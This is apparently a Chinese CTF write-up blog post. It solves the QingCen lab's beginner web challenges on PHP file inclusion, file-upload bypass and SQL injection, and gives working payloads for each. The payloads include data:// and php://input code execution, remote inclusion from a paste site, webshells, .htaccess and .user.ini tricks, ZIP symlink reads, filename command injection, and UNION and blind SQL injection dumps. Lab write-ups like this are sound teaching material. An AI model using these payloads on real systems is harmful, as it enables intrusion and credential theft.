Featured image of post QingCen靶场Web入门wp-中

QingCen靶场Web入门wp-中

15022 字
0 浏览

前言

继续~ 继续~ 鸽了好久

EZFL

EZFL(PHP 文件包含)

访问靶机 fl_1.png
先随便点点,没有发现什么特殊交互和信息,看一下注释 发现两行特别注释

第一条注释确认了后端使用 include($file) 进行文件包含
第二条 Base64 解码后为:flag is in /flag.txt
fl_2.png
fl_3.png
由于后端 include() 没有对 $file 做路径限制

1
?file=/flag.txt

直接传入了 /flag.txt,PHP 的 include 会读取并输出文件内容,flag 就被包含在页面中返回了
fl_4.png

EZFL_1(PHP 文件包含 + php://filter 伪协议读取源码)

访问靶机
fl1_1.png
跟第一题没多大差别,没有什么可交互的,还是看一下注释,发现特别注释
fl1_2.png
Base64 解码后:“The flag is right in flag.php, but you’ll never be able to see it.” 在flag.php中 但是我不能看见它
尝试直接包含flag.php 返回 flag就在这里,不过我把他藏起来了
fl1_3.png
因为 include(‘flag.php’) 会执行PHP代码,flag 被藏在注释 //flag{…} 中,PHP 不会输出注释内容
使用php://filter 读取源码

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

让PHP不执行flag.php 而是Base64编码再输出 这样就能看见源码
fl1_4.png
然后再转换一下就能看到flag
fl1_5.png

EZFL_2(PHP 文件包含 + php://filter 伪协议读取源码 + base64过滤绕过)

访问靶机
fl2_1.png
依旧没有交互 看一下注释 和上一题的注释内容一样
fl2_2.png
尝试一下上一题的payload 发现不行 返回no way 可能过滤了base64 尝试一下其他的过滤器 convert.iconv.UTF-8.UTF-16LE
原文件开头是 [?php 转成 UTF-16LE 后会变成类似 <00?<00p<00h<00p<00
这样就不再是可执行的 PHP 标签 include 时不会执行,而是把源码内容直接吐出来

1
?file=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php  

fl2_3.png

EZFL_3(LFI -> php://input -> RCE)

访问首页 和前面题目一样 首页没有可交互的地方,那就看一下注释
fl3_1.png
大概意思就是 让我们靠自己 没有提示了
利用 PHP 的 php://filter 伪协议读取 index.php 的源码 fl3_2.png
fl3_3.png
$file 直接取自 $_GET[‘file’],没有任何过滤或白名单校验,直接传入 include(),存在无限制的本地文件包含漏洞
使用目录穿越读取系统文件

1
http://docker.qingcen.net:47554/?file=/etc/passwd  

fl3_4.png
单纯的文件包含只能读取文件,要获取 flag 需要执行命令。利用 php://input 伪协议可以将 POST 请求体作为 PHP 代码执行
fl3_5.png
接着查看flag的位置

1
<!-- 执行 ls -la / 命令 -->  

fl3_6.png
发现有关flag的随机文件 进行访问

1
<!-- 读取 flag 文件 -->  

fl3_7.png
成功获得flag

EZFL_4

访问首页 和前面题目一样 首页没有可交互的地方 直接看注释 注释也一样 让我们自己往下做
文件包含题 直接目录穿越

1
http://docker.qingcen.net:49138/?file=../../../../etc/passwd  

fl4_1.png
成功读到 /etc/passwd,说明这里是一个可利用的 LFI。接着尝试直接读源码,比如 index.php 或 php://filter
都会返回 php not allowed,说明程序对 file 参数里的 php 做了黑名单过滤
继续测试发现 data:// 没被拦,而且能被 include

1
http://docker.qingcen.net:49138/?file=data://text/plain,Chen  

fl4_2.png
既然 include(data://…) 成立,就可以直接注入 PHP 代码拿 RCE

1
http://docker.qingcen.net:49138/?file=data://text/plain,%3C?=%60id%60?%3E  

fl4_3.png
返回 uid=33(www-data),说明命令执行成功。随后枚举站点目录

1
http://docker.qingcen.net:49138/?file=data://text/plain,%3C?=%60ls%20-la%20/var/www/html%202%3E%261%60?%3E  

fl4_4.png
发现根目录下有 flag.php。由于 file 参数里不能出现明文 php,这里用 shell 通配符绕过黑名单,直接读取

1
http://docker.qingcen.net:49138/?file=data://text/plain,%3C?=%60cat%20/var/www/html/fla*%202%3E%261%60?%3E  

fl4_5.png
最后flag在源码里

EZFL_5

访问首页 和前面题目一样 首页没有可交互的地方 直接看注释 注释也一样 让我们自己往下做
先尝试常见的伪协议包含

1
?file=data://,<!-- 执行 ls 命令 -->  

fl5_1.png
返回 data not allowed,说明题目对 data:// 做了过滤
既然只过滤了 data,就换用另一个 PHP 伪协议 php://input。php://input 可以读取原始 POST 数据,而 include() 在包含它时会把其中的 PHP 代码当作脚本执行

1
<!-- 读取 flag.php -->  

fl5_2.png
获得flag

EZFL_6(PHP 远程文件包含(RFI) -> 代码执行(RCE))

访问首页 页面存在 file 参数,查看源码可以看到注释:
说明后端大概率直接对 file 做了 include(),先用

1
?file=/etc/passwd  

fl6_1.png
成功读到文件,确认存在文件包含漏洞
继续测试后发现,php:// 和 data:// 都被关键词过滤,常规的 php://filter 利用不了。但进一步发现 http:// 可以被包含,也就是说这里不只是 LFI,还存在 RFI(远程文件包含)。更关键的是:远程文件中的 PHP 短标签 [?= … ]? 会被目标服务器解析执行。于是可以在外部托管一个简单 payload,例如

1
[?=implode(',',scandir('/'));]?  

https://paste.rs/web 这是一个支持公开纯文本和 Raw 直链的粘贴网站
在上面直接输入 [?=implode(",",scandir("/"));]? 会获得一个链接 https://paste.rs/**** 每次都不一样 直接访问即可

1
http://docker.qingcen.net:38006/?file=https://paste.rs/SAfmv  

fl6_2.png
从而枚举根目录,结果在根目录下发现了可疑文件 qingcenctf.txt
直接读取

1
http://docker.qingcen.net:38006/?file=/qingcenctf.txt  

fl6_3.png

EZFL_7

访问首页 直接给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[?php
highlight_file(__FILE__);

if (isset($_POST['filename']) && isset($_POST['content'])) {
    $filename = $_POST['filename'];
    $content = $_POST['content'];

    // 在文件内容前添加 exit 前缀,阻止后续代码执行
    echo "write ok";
}
]?  

说明这是任意文件写入,但会强行在前面加 [?php exit();]?,所以不能直接写普通 webshell
用 php://filter/write=convert.base64-decode/resource=chen.php 绕过前缀,在burp里发 POST

1
2
filename=php://filter/write=convert.base64-decode/resource=chen.php  
content=APD9waHAgc3lzdGVtKCJscyIpOz8%2B  

这段 content 解码后就是执行 ls 命令的代码,前面的 A 是为了配合固定前缀做对齐
fl7_1.png
写入成功 访问 http://docker.qingcen.net:34249/chen.php
fl7_2.png
可以看到两个文件 c0nq4er1ng.php conquer.php 接下来获取内容就行了

1
[?php highlight_file("c0nq4er1ng.php"); echo "\n---\n"; highlight_file("conquer.php");]?  

也就是

fl7_3.png
访问readsrc.php即可看到两个文件的源码
fl7_4.png

EZFU

EZFU

访问首页 发现有文件上传功能
正常上传一个测试文件,服务端返回 uploads/.,说明上传后的文件可以直接通过 Web 路径访问
在源码里看到它只取原始文件名扩展名,然后直接 move_uploaded_file(),没有任何类型校验 直接抓包 改包发送即可
接着直接访问返回的 file_url 验证命令执行

1
http://docker.qingcen.net:35383/uploads/xxxxxx.php?cmd=id  

一般来说 flag会放在环境变量中

1
http://docker.qingcen.net:35383/uploads/xxxxxx.php?cmd=printenv  

成功获得flag

EZFU_1

和前面一样 那我们直接看源码
只允许上传图片文件 我们上传一个简单的图片绕过前端 在burp中修改文件名和内容即可
修改请求体 中filename 1.png->1.php 和Content-Type image/png->application/x-php
上传成功 我们直接访问并测试 命令是否执行

1
http://docker.qingcen.net:42821/upload/******.php?cmd=id  

命令执行成功 直接读环境变量获得flag

1
http://docker.qingcen.net:42821/uploads/********.php?cmd=printenv  

成功获得flag

EZFU_2

一、初始观察

打开题目页面,是一个很简洁的文件上传表单,只接受 image 字段,上传后返回文件路径。没有登录、没有验证码,看起来就是考上传绕过。

二、试探过滤规则

先拿不同类型的文件试了一圈,摸清楚后端的过滤逻辑。
test.php 直接被拦,返回 File type not allowed,说明有扩展名黑名单。test.php5 也被拦了,test.pHp 大小写混写同样没用,后端会先转小写再匹配。
正常的图片文件 test.jpg 和 test.png 都能上传成功。
试了 test.phtml,居然过了,既没被黑名单拦,也没被内容检测拦。另外 .htaccess 也能传上去。
再试 test.phar,这次是被内容检测拦下来的,返回 File content not allowed。说明后端除了黑名单之外,还会扫描文件内容里有没有 [?php 之类的标记。

到这里就清楚了,后端有两层过滤。第一层是扩展名黑名单,拦了php、php3、php4、php5、phps、pht、jsp、jspx、asp、aspx、sh、py、pl、exe、bat、cmd 这些。第二层是内容检测,如果文件里出现 [?php 或 [?=,只有扩展名是 .phtml 的时候才放行。 所以 .phtml 就是突破口——不在黑名单里,内容检测也给它开了绿灯,而且 Apache 默认配置会把它当 PHP 解析。
三、拿到 Webshell

构造一句话木马,保存为 shell.phtml 上传。服务器返回了路径 uploads/96289496-024a-471d-8ad0-faeb1416d3a3.phtml。

直接浏览器访问这个地址,页面输出了 phpinfo 的内容,确认 .phtml 被当成 PHP 执行了。

四、找 Flag

用 webshell 执行命令找 flag。先翻了 /flag*、/root/、/var/www/html/ 这些常见位置,都没有。

然后直接读环境变量 env,输出里赫然写着 FLAG=flag{4327b3b7-cfac-46f7-8e6f-88810e9a2147}。

Flag 是通过 Docker 的 ENV 指令注入进容器的,不在文件系统里,所以用 find 搜文件名根本搜不到,必须用 env 或 printenv 才能看见。

五、复盘

这题核心考了两个点。

一个是扩展名黑名单不完整。.phtml 是 PHP 的合法扩展名,出题人的黑名单里漏掉了。做文件上传题要对各种web 语言的冷门扩展名心里有数,比如 .phtml、.pht、.phps、.phar 这些,黑名单很容易漏。
另一个是 flag 的藏法。Docker 容器里经常通过环境变量注入 flag,不是文件,用 find 搜不到。养成习惯进容器先 env 看一眼。

EZFU_3

访问首页,文件上传表单,PHP 8.2.30

测试发现这次加了文件头(Magic Bytes)校验.phtml 不在扩展名黑名单中,但裸 PHP 代码过不了文件头检查

突破口是给 PHP 文件加上合法的图片文件头骗过校验。构造 payload 时在 PHP 代码前添加 GIF89a GIF 文件头,保存为 shell.phtml,上传时 MIME 改为 image/gif,成功绕过两层检测

上传成功后访问返回的文件路径,读取环境变量获得 flag:

1
FLAG=flag{d88193df-d1e2-479a-9612-7b7b78907947}

复盘:这题比 EZFU_2 多了一层文件头校验。.phtml 扩展名不在黑名单中,加上 GIF89a 前缀后文件头检测认为是合法 GIF 图片,而 Apache 仍然会把 .phtml 当 PHP 解析执行。flag 藏在 Docker 环境变量中

EZFU_4

访问首页,文件上传表单。这次比上一题多了 PHP 内容检测

测试发现后端只检测了 [?php 这种完整标签,漏掉了 [?= 短标签(PHP short echo tag)。[?= 在 PHP 5.4+ 中默认开启,等价于 [?php echo

构造 payload 时使用 [?= 替代 [?php,加上 GIF89a 文件头,保存为 shell.phtml 上传成功。读取环境变量获得 flag:

1
FLAG=flag{a07a2652-2904-4bdb-9cac-9cb2f95e4376}

复盘:后端只匹配了 [?php,没有覆盖 [?= 短标签。做内容检测类题目时要注意所有可能的标签写法

EZFU_5

与 EZFU_4 解法一致,环境换成了 PHP 8.2.30。在 PHP 8.x 中 <%<script language="php"> 已被移除,[?= 是唯一能绕过 [?php 检测的短标签写法

使用同样方法获得 flag:

1
FLAG=flag{88bb2214-4585-41ab-b0f5-ad06e6a5a41a}

复盘:注意 payload 中变量要用单引号,双引号在 multipart 上传时可能被转义导致命令无法传入

EZFU_6

在 EZFU_5 基础上加了危险函数检测。常见命令执行函数 等常见命令执行函数全被拦截

但遗漏了 PHP 的反引号运算符。反引号在 PHP 中等价于 命令执行函数,但它是运算符不是函数名,不被关键词黑名单匹配。使用 [?= + 反引号构造 payload 上传成功

读取环境变量获得 flag:

1
FLAG=flag{e0299c86-2e7c-4f50-a94e-f7e935190f8d}

复盘:防御时不能只靠函数名黑名单,还应禁用反引号,或在 php.ini 中设置 disable_functions 彻底禁用危险函数

EZFU_7

封了 .phtml,但 .php7.phar 可以上传,且文件名保留原始名称。.htaccess 也可以上传

两步配合:先上传 .htaccess 设置 AddType application/x-httpd-php .php7,再上传 webshell 的 .php7 文件。访问 webshell 读取环境变量获得 flag:

1
FLAG=flag{01767fde-9e9b-4438-9555-b7f1dfd30d7b}

复盘:文件名未随机化是关键漏洞,允许上传 .htaccess 修改 Apache 解析规则

EZFU_8

.htaccess 不生效(Apache AllowOverride None),但 uploads 目录下有 index.php

突破口是 .user.ini。它是 PHP-FPM 的用户级配置文件,不受 Apache AllowOverride 限制。利用 auto_prepend_file 指令让 PHP 在执行任何文件前先包含指定文件

先上传带 PHP 代码的 GIF 文件作为 webshell,再上传 .user.ini 设置 auto_prepend_file 指向该 GIF。访问 index.php 触发包含执行,获得 flag:

1
FLAG=flag{c5547a89-8077-43e9-8916-8fc129ba423b}

复盘.htaccess 由 Apache 读取受 AllowOverride 控制,.user.ini 由 PHP-FPM 自身读取不经过 Apache。防御时应禁止上传 .user.ini.htaccess

EZFU_9

综合题,涉及信息泄露 → 登录认证 → 文件上传三个环节

第一步:源码泄露login.php?doc= 参数存在目录穿越,用 ../ 读取 PHP 源码

第二步:获取密码。源码中密码藏在 /etc/passwd 的 GECOS 字段(pass=HHEFasNdUZMc),用目录穿越读取

第三步:登录后台。Dashboard 有 .bz2 备份恢复功能,解压后文件名 = 上传文件名去掉 .bz2 后缀

第四步:构造恶意 bz2。用 Python 的 bz2.compress() 创建包含 PHP 代码的 bzip2 文件,命名为 shell.php.bz2 上传,解压后写入 uploads/shell.php

访问 webshell 获得 flag:

1
FLAG=flag{28632ee2-2849-449b-9cea-db6e9d8e4584}

复盘:多漏洞组合利用,文件名处理是关键——去掉 .bz2 后缀作为写入路径

EZFU_10

login.php 弱口令 admin / 123456 直接登录

Dashboard 备份恢复功能使用 include() 直接包含上传的 .bz2 文件。bz2 压缩数据中的 PHP 代码会被解析执行

但因为上传是 POST 请求,$_GET 参数不可用。需要用 文件写入函数 先写入持久化 webshell,再通过 GET 请求触发

用 Python 的 bz2.compress() 创建包含写文件逻辑的 payload,命名为 writer.bz2 上传。服务器 include() 执行后将 webshell 写入 uploads/rce.php,访问获得 flag:

1
FLAG=flag{fefcc82a-45f7-49fa-bcbb-d3f0538bb502}

复盘:弱口令是第一个突破口,include() 直接包含上传文件是第二个,POST 时 $_GET 不可用需要持久化是第三个

EZFU_11

PHP 文件可以直接上传(无扩展名黑名单),但 uploads 目录下 .htaccess 阻止 PHP 执行,且每次上传后自动恢复原始 .htaccess

利用 .htaccess 覆盖机制:先上传自定义 .htaccess(使用 RemoveTypeRemoveHandler 移除 PHP 解析限制),再立刻上传 PHP webshell,在服务器恢复原始 .htaccess 前访问

读取 /flag 文件获得 flag:

1
FLAG=flag{a325e29e-fc14-41d2-864f-1a1d79d8269b}

复盘:这是竞态条件利用——必须在服务器恢复原始 .htaccess 之前快速完成上传和访问。flag 位于 /flag 文件而非环境变量中

EZFU_12

访问首页,文件上传表单,PHP 8.2.30。文件名会被加上 UUID 前缀进行随机化

测试发现 PHP 文件可以直接上传,且上传后代码会立刻执行。但大约 2 秒后文件会被自动删除——这是一个竞态条件漏洞

解题思路:

  1. 构造一个读取系统信息的 PHP 脚本(用 shell_exec 函数执行 env 或 cat 命令)
  2. 通过 curl 上传该脚本,服务端返回带 UUID 的文件路径
  3. 在文件被删除前立刻用 curl 访问该路径获取输出

由于文件存活时间极短,需要在一次请求中完成上传和访问。用 shell 脚本先上传获取 URL,再立刻访问:

1
2
3
# 第一步:上传包含命令执行代码的 PHP 文件
# 第二步:立刻访问返回的文件路径
# 输出中包含环境变量或文件内容

实际操作中,上传读取环境变量的脚本后立刻访问,获得 flag:

1
flag{2630f931-6b0a-45db-915f-a1d4d055c4dc}

复盘:这题的核心是竞态条件——PHP 文件上传后立刻可执行,但约 2 秒后被清理脚本删除。攻击者必须在这 2 秒窗口内完成上传和访问。防御时应在校验通过后再写入磁盘,或者在上传时就阻止含危险代码的文件,而非事后清理

EZFU_13

访问首页,是一个"在线 ZIP 解压中心",上传 ZIP 文件后自动解压并提供下载链接

页面 HTML 注释中泄露了提示:flag 位于 /C000000quer.txt。但下载接口的 file 参数做了路径穿越过滤,无法直接读取系统文件

突破口是 ZIP 符号链接攻击。ZIP 格式支持存储 Unix 符号链接,解压时如果服务端不做校验,会创建指向任意路径的符号链接。通过下载接口访问该符号链接时,服务端会跟随链接读取目标文件内容

用 Python 构造包含符号链接的 ZIP 文件,将链接目标设为 /C000000quer.txt,链接名称设为 flag_link。上传后解压生成符号链接,通过下载接口访问即可读取 flag:

1
download.php?id=任务ID&file=flag_link

输出:

1
flag{a8e7c643-b427-4091-8e7a-1e71f23dbd37}

构造恶意 ZIP 的 Python 代码思路:

1
2
3
4
使用 zipfile 模块创建 ZipInfo 对象
设置 create_system = 3(Unix)
设置 external_attr 为符号链接权限(0o120777 << 16)
写入链接目标路径作为文件内容

复盘:这题考的是 ZIP 符号链接攻击。ZIP 格式可以存储符号链接,如果解压时不检查链接目标,就会创建指向系统任意文件的符号链接。配合下载接口,可以读取系统上的敏感文件。防御时解压后应检查文件类型,拒绝符号链接或限制链接目标路径

EZFU_14

访问首页,是一个"在线图片检测中心",上传 JPG 图片后自动生成检测报告

页面 HTML 注释泄露提示:源码备份存在。访问 index.php.bak 获取源码

源码中发现关键漏洞——命令注入:

1
2
$file = "uploads/" . $uploadedName;
exec("file " . $file . " 2>&1", $details, $status);

文件名未经任何过滤直接拼接进 shell 命令。后端只校验扩展名为 .jpg,但文件名中可以包含 shell 元字符

利用分号 ; 作为命令分隔符注入命令。文件名格式为 x.jpg;要执行的命令;#.jpg,其中:

  • x.jpg 满足扩展名校验
  • ; 分隔出新命令
  • # 注释掉后面的 .jpg 2>&1

通过注入 ls -la 发现目录下有 pigeon_cat.php 文件,读取该文件获得 flag:

1
flag{2f3dfdf9-33c7-48e5-99fe-91973754ef8e}

复盘:这题考的是命令注入。exec() 函数直接拼接用户输入的文件名到 shell 命令中,没有任何过滤。后端只校验了文件扩展名,没有对文件名内容做安全检查。防御时应使用 escapeshellarg() 对用户输入进行转义,或者使用白名单只允许字母数字和点号

EZSQL

EZSQL(字符型 UNION 联合查询注入)

访问靶机,页面是一个学生成绩查询系统,输入学号返回姓名、学号、班级、成绩四个字段
先测试正常查询 id=2026001,返回学生 Zhang Wei 的信息,说明后端有数据且查询正常
测试 id=1' 没有报错,而是返回 not found,说明可能存在字符型注入,单引号被包裹在查询中
尝试 id=1 or 1=1,返回了第一条学生记录,确认存在注入。进一步用 UNION SELECT 确定列数:

1
?id=-1 union select 1,2,3,4-- +-

返回了 1、2、3、4 四个值,确认查询有 4 列,且页面回显位置为:Welcome 对应第 2 列,Student ID 对应第 1 列,Class 对应第 3 列,Score 对应第 4 列
接下来获取数据库名和版本:

1
?id=-1 union select 1,database(),3,4-- +-

数据库名为 user,版本为 MariaDB 10.4.13
然后枚举当前数据库的所有表:

1
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- +-

发现两张表:flagstudents
查看 flag 表的列名:

1
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'-- +-

列名为 idsecret
最后直接 dump flag 表:

1
?id=-1 union select 1,group_concat(id,0x3a,secret),3,4 from flag-- +-

成功获得 flag:flag{1ce6dd45-6029-4382-b362-cf4c39792992}

EZSQL_1(字符型 SQL 注入 - 万能密码登录绕过)

访问靶机,页面是一个登录表单,使用 GET 方法提交 usernamepassword 两个参数
先用 admin / admin 正常登录,返回 Login failed.,说明后端有查询逻辑
测试注入,在 username 后加单引号 admin',仍然返回 Login failed.,没有报错信息泄露,但也没有语法错误提示,说明可能存在字符型注入
经典的万能密码思路——用单引号闭合 username 字段,再用注释符 --+- 把后面的密码检查注释掉:

1
?username=admin'--+-&password=任意值

SQL 语句变为:

1
SELECT * FROM users WHERE username = 'admin'--+-' AND password = '...'

--+- 注释掉了密码校验部分,直接以 admin 身份登录成功,页面返回绿色提示框,flag 直接显示:
flag{2ee641f8-b9ae-4f3e-8c67-bf22dd448f23}

复盘:后端对用户输入没有任何过滤和转义,直接拼接进 SQL 语句。这是最基础的字符型 SQL 注入,万能密码绕过登录的经典案例。防御时应使用参数化查询(Prepared Statements)

EZSQL_2(字符型 UNION 联合查询注入 - 注入点在 Password 字段)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 先正常登录 admin / admin,返回 Login failed. 测试注入点,在 username 后加单引号 admin',仍然返回 Login failed,没有报错 尝试经典万能密码 admin'--+-,同样失败,说明 --+- 被过滤或者注释方式不同 换用 # 注释符测试:

1
?username=admin'#&password=x

返回 Welcome admin,说明 # 注释有效,密码校验被绕过。但页面只显示欢迎信息,没有直接给出 flag,需要用 UNION 注入从数据库中提取 确定列数,依次测试 2、3、4、5 列:

1
?username=-1' union select 1,2,3,4#&password=x

4 列时返回 Welcome 2,确认查询有 4 列,页面回显位置为第 2 列 获取数据库名和版本:

1
?username=-1' union select 1,database(),3,4#&password=x

数据库名为 user,版本为 MariaDB 10.4.13 枚举当前数据库的表:

1
?username=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#&password=x

只有一张表:flag 查看 flag 表的列名:

1
?username=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'#&password=x

四列:idnamepasswdsecret 直接 dump flag 表:

1
?username=-1' union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#&password=x

返回 1:admin:admin123:flag{87193361-15bf-4ce8-affe-9a068f8e6852},成功获得 flag

复盘:这题与 EZSQL_1 的区别在于注释符——--+- 被过滤,需要改用 # 注释。登录成功后不会直接显示 flag,需要通过 UNION 联合查询注入从 flag 表的 secret 列中提取。flag 表同时充当了用户表和 flag 存储的角色

EZSQL_3(字符型 SQL 注入 - 报错回显 + 括号闭合 + UNION 联合查询注入)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 正常登录 admin / admin,返回 Login failed.,没有直接报错 测试注入,在 username 后加单引号 admin'

1
?username=admin'&password=x

返回 SQL Error: You have an error in your SQL syntax...near '' at line 1,存在报错回显,确认注入点 尝试 admin'--+-,报错 near 'x'),说明查询中使用了括号包裹条件,类似:

1
SELECT * FROM users WHERE (username = '...') AND (password = '...')

尝试 admin'#,仍然报错 near '',说明 # 后面还有未闭合的括号。正确的闭合方式是先闭合括号再注释:

1
?username=admin')#&password=x

返回 Welcome admin,登录成功但没有 flag。与 EZSQL_2 一样,需要用 UNION 注入提取数据 确定列数,测试 1~6 列:

1
?username=-1') union select 1,2,3,4#&password=x

4 列时返回 Welcome 2,确认查询有 4 列,回显位在第 2 列 获取数据库名和版本:

1
?username=-1') union select 1,database(),3,4#&password=x

数据库名为 user,版本为 MariaDB 10.4.13 枚举当前数据库的表:

1
?username=-1') union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#&password=x

只有一张表:flag 查看 flag 表的列名:

1
?username=-1') union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'#&password=x

四列:idnamepasswdsecret 直接 dump flag 表:

1
?username=-1') union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#&password=x

返回 1:admin:admin123:flag{d2556f2f-ccde-40ff-b698-2b2afaec3f94},成功获得 flag

复盘:这题与前两题的核心区别是查询条件使用了括号包裹admin'# 无法绕过是因为括号未闭合,必须写成 admin')# 先闭合括号再注释。同时页面存在报错回显,可以利用错误信息推断查询结构。做 SQL 注入题时要注意观察报错中的括号、引号等细节来还原后端查询语句

EZSQL_4(字符型 SQL 注入 - 双引号闭合 + UNION 联合查询注入)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 正常登录 admin / admin,返回 Login failed. 测试单引号注入 admin'#,返回 Login failed,不起作用 测试双引号注入:

1
?username=admin"#&password=x

返回 Welcome admin,说明后端使用双引号包裹字符串,# 注释有效 进一步测试 admin")#,报错信息泄露了查询结构:near ')#" AND passwd = "x"',确认:

  • 查询使用双引号 " 而非单引号 '
  • 密码字段名为 passwd
  • 没有括号包裹条件 登录成功但没有 flag,需要用 UNION 注入提取数据。使用双引号闭合:
1
?username=-1" union select 1,2,3,4#&password=x

4 列时返回 Welcome 2,确认查询有 4 列,回显位在第 2 列 获取数据库名和版本:

1
?username=-1" union select 1,database(),3,4#&password=x

数据库名为 user,版本为 MariaDB 10.4.13 枚举当前数据库的表:

1
?username=-1" union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#&password=x

只有一张表:flag 查看 flag 表的列名:

1
?username=-1" union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'#&password=x

四列:idnamepasswdsecret 直接 dump flag 表:

1
?username=-1" union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#&password=x

返回 1:admin:admin123:flag{3cd5863c-8dad-4e33-9b8d-8e349dfeb663},成功获得 flag

复盘:这题的核心区别是后端使用双引号 " 而非单引号 ' 包裹 SQL 字符串。常规的单引号闭合全部失效,需要先判断引号类型再构造 payload。做 SQL 注入时如果单引号不生效,一定要尝试双引号

EZSQL_5(字符型 SQL 注入 - 双引号括号闭合 + UNION 联合查询注入)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 正常登录 admin / admin,返回 Login failed. 先测试单引号 admin'#,不起作用。测试双引号+括号组合:

1
?username=admin")#&password=x

返回 Welcome admin,说明后端使用双引号 " 包裹 + 括号 () 包裹条件,查询结构类似:

1
SELECT * FROM users WHERE (username = "admin") AND (passwd = "x")

登录成功但没有 flag,需要用 UNION 注入提取数据。使用 ") 闭合:

1
?username=-1") union select 1,2,3,4#&password=x

4 列时返回 Welcome 2,确认查询有 4 列,回显位在第 2 列 枚举当前数据库的表:

1
?username=-1") union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#&password=x

只有一张表:flag 查看 flag 表的列名:

1
?username=-1") union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#&password=x

四列:idnamepasswdsecret 直接 dump flag 表:

1
?username=-1") union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag#&password=x

返回 1:admin:admin123:flag{0de95981-a6b8-43de-bf93-7cc4ab16daa3},成功获得 flag

复盘:这题结合了 EZSQL_3(括号闭合)和 EZSQL_4(双引号)两个特征。需要同时用 ") 闭合双引号和括号,再用 # 注释掉后续条件。随着题目递进,闭合方式越来越复杂,做题时要系统地测试引号类型和括号组合

EZSQL_6(字符型 SQL 注入 - WAF 过滤注释符 + 引号平衡绕过 + UNION 联合查询注入)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 正常登录 admin / admin,返回 Login failed. 测试单引号注入 admin'#,返回 Invalid characters detected.,说明 # 被 WAF 拦截 测试 admin'--+-,同样被拦截。说明 #-- 注释符都被过滤admin' 返回 SQL 报错,确认存在注入点。尝试不用注释符的绕过方式:

1
?username=admin' or '1'='1&password=x

返回 Welcome admin,通过引号平衡绕过登录。原理是让 SQL 语句的引号自然闭合:

1
WHERE username = 'admin' or '1'='1' AND passwd = 'x'

'1'='1' 中最后的 ' 与后续的 AND 形成合法语句 登录成功但没有 flag,需要用 UNION 注入。在 username 字段注入 UNION 会触发 passwd 列名冲突错误,改用 password 字段注入:

1
?username=xxxx&password=-1'union select 1,2,3,4 or '1'='1

4 列时返回 Welcome 2,确认查询有 4 列,回显位在第 2 列 获取数据库名:

1
?username=xxxx&password=-1'union select 1,database(),3,4 or '1'='1

数据库名为 user 枚举表时,由于 from information_schema.tables where ... 会改变 SQL 结构,引号平衡被打破。使用 where '1'='1 来平衡引号:

1
?username=xxxx&password=-1'union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() and '1'='1

发现 flag 表。查看列名:

1
?username=xxxx&password=-1'union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and '1'='1

四列:idnamepasswdsecret 提取 secret 列(避免使用 passwd 列导致冲突):

1
?username=xxxx&password=-1'union select 1,secret,3,4 from flag where '1'='1

返回 flag{83d432f6-74d1-4342-8e59-215bdb3bfa5c},成功获得 flag

复盘:这题的核心难点是 WAF 过滤了 #-- 注释符,不能用常规注释截断后续 SQL。解决方法是引号平衡——让注入的 SQL 语句中所有引号自然配对闭合。where '1'='1 中的 '1' 既充当布尔条件,又平衡了后续的引号。做 SQL 注入题遇到注释符被过滤时,引号平衡是关键绕过技巧

EZSQL_7(字符型 SQL 注入 - WAF 严格过滤关键词 + 大于号二分盲注)

访问靶机,页面是一个登录表单,GET 方法提交 usernamepassword 两个参数 正常登录 admin / admin,返回 Login failed. 测试 admin'#,返回 Welcome admin,单引号和注释符可用 测试 admin' or '1'='1,返回 Illegal SQL injection.,存在 WAF 关键词过滤 逐一测试发现 WAF 过滤了几乎所有 SQL 关键词:selectunionfromwhereandorlengthasciihexcharordregexprlikeifcasesleepbenchmarkbetweeninexists,以及 ( 括号 但 = 运算符和 > 运算符未被过滤,且 mid()substr()concat() 等函数可用 关键发现:= 因运算符优先级问题无法用于逐字符判断('admin'=mid(secret,N,1)='X' 会被 MySQL 解析为 ('admin'=mid(...))='X',永远返回相同结果)。但 > 运算符配合括号可以用于二分查找

1
?username=admin'=(mid(secret,1,1)>'E')#&password=x

mid(secret,1,1) 的 ASCII 值大于 E 时返回 Welcome admin,否则返回 Login failed 编写二分查找脚本,对 secret 列逐字符提取。每次用 > 比较中间值,7 次比较即可确定一个字符(128 个 ASCII 值 → log₂128 ≈ 7 次请求/字符) 示例提取过程:

1
?username=admin'=(mid(secret,1,1)>'E')#&password=x

返回 Welcome admin → 第 1 个字符 > ‘E’

1
?username=admin'=(mid(secret,1,1)>'F')#&password=x

返回 Login failed → 第 1 个字符 ≤ ‘F’,即为 ‘F’ 依次提取全部 42 个字符,得到 flag{a25e3fbc-ffce-4e57-a717-8614f0c01cce}

复盘:这题的 WAF 过滤极其严格,几乎封禁了所有 SQL 关键词和函数。突破口是 > 运算符未被过滤,配合括号实现二分盲注。核心技巧:

  1. = 因左结合优先级无法逐字符判断,必须用 > 做二分
  2. MySQL 默认 collation 下字符串比较是大小写不敏感的,所以 ‘f’ > ‘E’ 和 ‘f’ > ’e’ 都为真
